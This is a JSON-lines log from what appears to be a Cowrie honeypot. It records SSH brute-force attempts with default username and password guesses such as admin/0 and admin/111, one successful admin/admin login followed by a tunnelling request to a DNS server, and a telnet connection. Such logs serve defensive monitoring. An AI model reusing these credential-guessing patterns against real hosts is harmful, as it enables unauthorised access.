{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49238,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6cf0cd37988","protocol":"ssh","message":"New connection: 159.203.92.129:49238 (159.203.135.109:22) [session: a6cf0cd37988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:54.349157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:54.380656Z","src_ip":"159.203.92.129","session":"a6cf0cd37988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:54.384644Z","src_ip":"159.203.92.129","session":"a6cf0cd37988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0","message":"login attempt [admin/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:54.478445Z","src_ip":"159.203.92.129","session":"a6cf0cd37988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:42:55.488635Z","src_ip":"159.203.92.129","session":"a6cf0cd37988","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53184,"dst_ip":"159.203.135.109","dst_port":22,"session":"881010b3258b","protocol":"ssh","message":"New connection: 159.203.92.129:53184 (159.203.135.109:22) [session: 881010b3258b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:43:38.802727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:43:38.807983Z","src_ip":"159.203.92.129","session":"881010b3258b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:43:38.815993Z","src_ip":"159.203.92.129","session":"881010b3258b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"000000","message":"login attempt [admin/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:43:38.835524Z","src_ip":"159.203.92.129","session":"881010b3258b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:43:39.845621Z","src_ip":"159.203.92.129","session":"881010b3258b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49862,"dst_ip":"159.203.135.109","dst_port":22,"session":"bebe0de9560a","protocol":"ssh","message":"New connection: 159.203.92.129:49862 (159.203.135.109:22) [session: bebe0de9560a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:21.593448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:21.598726Z","src_ip":"159.203.92.129","session":"bebe0de9560a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:21.603665Z","src_ip":"159.203.92.129","session":"bebe0de9560a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0000000","message":"login attempt [admin/0000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:21.648588Z","src_ip":"159.203.92.129","session":"bebe0de9560a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12104,"dst_ip":"10.17.0.5","dst_port":22,"session":"e00105c73904","protocol":"ssh","message":"New connection: 87.251.64.176:12104 (10.17.0.5:22) [session: e00105c73904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:22.425236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:22.430072Z","src_ip":"87.251.64.176","session":"e00105c73904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:22.531523Z","src_ip":"87.251.64.176","session":"e00105c73904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:22.720435Z","src_ip":"159.203.92.129","session":"bebe0de9560a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:22.823247Z","src_ip":"87.251.64.176","session":"e00105c73904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:22.923535Z","session":"e00105c73904","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:23.022432Z","src_ip":"87.251.64.176","session":"e00105c73904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:44:23.258265Z","src_ip":"87.251.64.176","session":"e00105c73904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37078,"dst_ip":"159.203.135.109","dst_port":22,"session":"641262d104b7","protocol":"ssh","message":"New connection: 159.203.92.129:37078 (159.203.135.109:22) [session: 641262d104b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:07.694119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:08.739085Z","src_ip":"159.203.92.129","session":"641262d104b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:08.742804Z","src_ip":"159.203.92.129","session":"641262d104b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:10.477011Z","src_ip":"159.203.92.129","session":"641262d104b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:11.704892Z","src_ip":"159.203.92.129","session":"641262d104b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34530,"dst_ip":"159.203.135.109","dst_port":22,"session":"83ebab68d279","protocol":"ssh","message":"New connection: 159.203.92.129:34530 (159.203.135.109:22) [session: 83ebab68d279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:49.543349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:49.548351Z","src_ip":"159.203.92.129","session":"83ebab68d279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:49.554628Z","src_ip":"159.203.92.129","session":"83ebab68d279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"11","message":"login attempt [admin/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:49.611107Z","src_ip":"159.203.92.129","session":"83ebab68d279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:45:50.619257Z","src_ip":"159.203.92.129","session":"83ebab68d279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56044,"dst_ip":"159.203.135.109","dst_port":22,"session":"d54665bcfbd1","protocol":"ssh","message":"New connection: 159.203.92.129:56044 (159.203.135.109:22) [session: d54665bcfbd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:46:31.463984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:46:31.469154Z","src_ip":"159.203.92.129","session":"d54665bcfbd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:46:31.474892Z","src_ip":"159.203.92.129","session":"d54665bcfbd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:46:31.493376Z","src_ip":"159.203.92.129","session":"d54665bcfbd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:46:32.500090Z","src_ip":"159.203.92.129","session":"d54665bcfbd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.155.165.80","src_port":49698,"dst_ip":"10.17.0.5","dst_port":23,"session":"7058063d88c4","protocol":"telnet","message":"New connection: 105.155.165.80:49698 (10.17.0.5:23) [session: 7058063d88c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:46:45.153013Z"}
